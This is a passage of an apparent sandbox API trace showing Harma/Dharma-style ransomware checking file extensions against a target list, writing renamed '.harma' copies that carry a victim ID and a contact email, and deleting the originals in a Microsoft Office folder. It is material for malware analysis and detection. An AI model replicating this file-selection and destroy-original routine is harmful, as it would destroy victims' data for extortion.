(lpString=".pdf") returned 4 [0164.761] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0164.761] lstrlenW (lpString=".xls") returned 4 [0164.761] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0164.761] lstrlenW (lpString=".xlsx") returned 5 [0164.761] lstrcmpiW (lpString1=".xlsx", lpString2="D.HXS") returned -1 [0164.761] lstrlenW (lpString=".ppt") returned 4 [0164.761] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0164.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0164.761] lstrlenW (lpString=".zip") returned 4 [0164.761] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0164.761] lstrlenW (lpString=".rar") returned 4 [0164.761] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0164.761] lstrlenW (lpString=".bz2") returned 4 [0164.762] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0164.762] lstrlenW (lpString=".7z") returned 3 [0164.762] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0164.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0164.762] lstrlenW (lpString=".dbf") returned 4 [0164.762] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0164.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0164.762] lstrlenW (lpString=".1cd") returned 4 [0164.762] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0164.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0164.762] lstrlenW (lpString=".jpg") returned 4 [0164.762] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0164.762] lstrcmpiW (lpString1=".HXC", lpString2=".harma") returned 1 [0164.762] lstrlenW (lpString="VISIO_STD_COL.HXC") returned 17 [0164.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0164.763] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=641) returned 1 [0164.763] CloseHandle (hObject=0x21c) returned 1 [0164.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc")) returned 0x20 [0164.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0164.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0164.763] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.763] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0164.766] GetLastError () returned 0x0 [0164.766] ReadFile (in: hFile=0x21c, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x281, lpOverlapped=0x0) returned 1 [0165.018] WriteFile (in: hFile=0x2e8, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x290, lpOverlapped=0x0) returned 1 [0165.019] ReadFile (in: hFile=0x21c, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0165.019] WriteFile (in: hFile=0x2e8, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0165.019] SetEndOfFile (hFile=0x2e8) returned 1 [0165.019] CloseHandle (hObject=0x2e8) returned 1 [0165.019] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.019] SetEndOfFile (hFile=0x21c) returned 1 [0165.022] CloseHandle (hObject=0x21c) returned 1 [0165.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0165.022] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc")) returned 1 [0165.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0165.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0165.023] lstrlenW (lpString=".doc") returned 4 [0165.023] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0165.023] lstrlenW (lpString=".docx") returned 5 [0165.023] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0165.023] lstrlenW (lpString=".pdf") returned 4 [0165.023] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0165.023] lstrlenW (lpString=".xls") returned 4 [0165.023] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0165.023] lstrlenW (lpString=".xlsx") returned 5 [0165.023] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0165.023] lstrlenW (lpString=".ppt") returned 4 [0165.024] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0165.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0165.024] lstrlenW (lpString=".zip") returned 4 [0165.024] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0165.024] lstrlenW (lpString=".rar") returned 4 [0165.024] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0165.024] lstrlenW (lpString=".bz2") returned 4 [0165.024] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0165.024] lstrlenW (lpString=".7z") returned 3 [0165.024] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0165.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0165.024] lstrlenW (lpString=".dbf") returned 4 [0165.024] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0165.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0165.024] lstrlenW (lpString=".1cd") returned 4 [0165.024] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0165.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0165.024] lstrlenW (lpString=".jpg") returned 4 [0165.024] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0165.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0165.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0165.024] lstrlenW (lpString=".doc") returned 4 [0165.024] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0165.024] lstrlenW (lpString=".docx") returned 5 [0165.024] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0165.024] lstrlenW (lpString=".pdf") returned 4 [0165.024] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0165.024] lstrlenW (lpString=".xls") returned 4 [0165.024] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0165.024] lstrlenW (lpString=".xlsx") returned 5 [0165.024] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0165.025] lstrlenW (lpString=".ppt") returned 4 [0165.025] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0165.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0165.025] lstrlenW (lpString=".zip") returned 4 [0165.025] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0165.025] lstrlenW (lpString=".rar") returned 4 [0165.025] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0165.025] lstrlenW (lpString=".bz2") returned 4 [0165.025] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0165.025] lstrlenW (lpString=".7z") returned 3 [0165.025] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0165.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0165.025] lstrlenW (lpString=".dbf") returned 4 [0165.025] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0165.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0165.025] lstrlenW (lpString=".1cd") returned 4 [0165.025] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0165.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0165.025] lstrlenW (lpString=".jpg") returned 4 [0165.025] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0165.025] lstrcmpiW (lpString1=".HXC", lpString2=".harma") returned 1 [0165.025] lstrlenW (lpString="WINPROJ_COL.HXC") returned 15 [0165.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0165.216] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=631) returned 1 [0165.216] CloseHandle (hObject=0x218) returned 1 [0165.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc")) returned 0x20 [0165.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0165.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0165.217] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.217] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0165.218] GetLastError () returned 0x0 [0165.218] ReadFile (in: hFile=0x218, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x277, lpOverlapped=0x0) returned 1 [0165.368] WriteFile (in: hFile=0x328, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x280, lpOverlapped=0x0) returned 1 [0165.369] ReadFile (in: hFile=0x218, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0165.369] WriteFile (in: hFile=0x328, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0165.369] SetEndOfFile (hFile=0x328) returned 1 [0165.370] CloseHandle (hObject=0x328) returned 1 [0165.370] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.370] SetEndOfFile (hFile=0x218) returned 1 [0165.372] CloseHandle (hObject=0x218) returned 1 [0165.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0165.373] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc")) returned 1 [0165.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0165.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0165.374] lstrlenW (lpString=".doc") returned 4 [0165.374] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0165.374] lstrlenW (lpString=".docx") returned 5 [0165.374] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0165.374] lstrlenW (lpString=".pdf") returned 4 [0165.374] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0165.374] lstrlenW (lpString=".xls") returned 4 [0165.374] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0165.374] lstrlenW (lpString=".xlsx") returned 5 [0165.374] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0165.375] lstrlenW (lpString=".ppt") returned 4 [0165.375] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0165.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0165.375] lstrlenW (lpString=".zip") returned 4 [0165.375] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0165.375] lstrlenW (lpString=".rar") returned 4 [0165.375] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0165.375] lstrlenW (lpString=".bz2") returned 4 [0165.375] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0165.375] lstrlenW (lpString=".7z") returned 3 [0165.375] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0165.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0165.375] lstrlenW (lpString=".dbf") returned 4 [0165.375] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0165.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0165.375] lstrlenW (lpString=".1cd") returned 4 [0165.375] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0165.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0165.375] lstrlenW (lpString=".jpg") returned 4 [0165.375] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0165.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0165.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0165.376] lstrlenW (lpString=".doc") returned 4 [0165.376] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0165.376] lstrlenW (lpString=".docx") returned 5 [0165.376] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0165.376] lstrlenW (lpString=".pdf") returned 4 [0165.376] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0165.376] lstrlenW (lpString=".xls") returned 4 [0165.376] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0165.376] lstrlenW (lpString=".xlsx") returned 5 [0165.376] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0165.376] lstrlenW (lpString=".ppt") returned 4 [0165.376] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0165.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0165.376] lstrlenW (lpString=".zip") returned 4 [0165.376] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0165.376] lstrlenW (lpString=".rar") returned 4 [0165.376] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0165.376] lstrlenW (lpString=".bz2") returned 4 [0165.376] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0165.376] lstrlenW (lpString=".7z") returned 3 [0165.376] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0165.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0165.376] lstrlenW (lpString=".dbf") returned 4 [0165.376] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0165.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0165.376] lstrlenW (lpString=".1cd") returned 4 [0165.376] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0165.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0165.376] lstrlenW (lpString=".jpg") returned 4 [0165.376] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0165.377] lstrcmpiW (lpString1=".HXT", lpString2=".harma") returned 1 [0165.377] lstrlenW (lpString="WINWORD.DEV_COL.HXT") returned 19 [0165.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0165.377] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=211) returned 1 [0165.377] CloseHandle (hObject=0x218) returned 1 [0165.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt")) returned 0x20 [0165.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0165.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0165.378] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.378] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0165.379] GetLastError () returned 0x0 [0165.379] ReadFile (in: hFile=0x218, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0xd3, lpOverlapped=0x0) returned 1 [0165.380] WriteFile (in: hFile=0x328, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0165.381] ReadFile (in: hFile=0x218, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0165.381] WriteFile (in: hFile=0x328, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0165.381] SetEndOfFile (hFile=0x328) returned 1 [0165.381] CloseHandle (hObject=0x328) returned 1 [0165.381] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.381] SetEndOfFile (hFile=0x218) returned 1 [0165.383] CloseHandle (hObject=0x218) returned 1 [0165.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0165.384] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt")) returned 1 [0165.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0165.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0165.384] lstrlenW (lpString=".doc") returned 4 [0165.384] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0165.384] lstrlenW (lpString=".docx") returned 5 [0165.384] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0165.385] lstrlenW (lpString=".pdf") returned 4 [0165.385] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0165.385] lstrlenW (lpString=".xls") returned 4 [0165.385] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0165.385] lstrlenW (lpString=".xlsx") returned 5 [0165.385] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0165.385] lstrlenW (lpString=".ppt") returned 4 [0165.385] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0165.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0165.385] lstrlenW (lpString=".zip") returned 4 [0165.385] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0165.385] lstrlenW (lpString=".rar") returned 4 [0165.385] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0165.385] lstrlenW (lpString=".bz2") returned 4 [0165.385] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0165.385] lstrlenW (lpString=".7z") returned 3 [0165.385] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0165.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0165.385] lstrlenW (lpString=".dbf") returned 4 [0165.385] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0165.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0165.385] lstrlenW (lpString=".1cd") returned 4 [0165.385] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0165.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0165.385] lstrlenW (lpString=".jpg") returned 4 [0165.385] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0165.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0165.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0165.385] lstrlenW (lpString=".doc") returned 4 [0165.385] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0165.386] lstrlenW (lpString=".docx") returned 5 [0165.386] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0165.386] lstrlenW (lpString=".pdf") returned 4 [0165.386] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0165.386] lstrlenW (lpString=".xls") returned 4 [0165.386] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0165.386] lstrlenW (lpString=".xlsx") returned 5 [0165.386] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0165.386] lstrlenW (lpString=".ppt") returned 4 [0165.386] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0165.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0165.386] lstrlenW (lpString=".zip") returned 4 [0165.386] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0165.386] lstrlenW (lpString=".rar") returned 4 [0165.386] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0165.386] lstrlenW (lpString=".bz2") returned 4 [0165.386] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0165.386] lstrlenW (lpString=".7z") returned 3 [0165.386] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 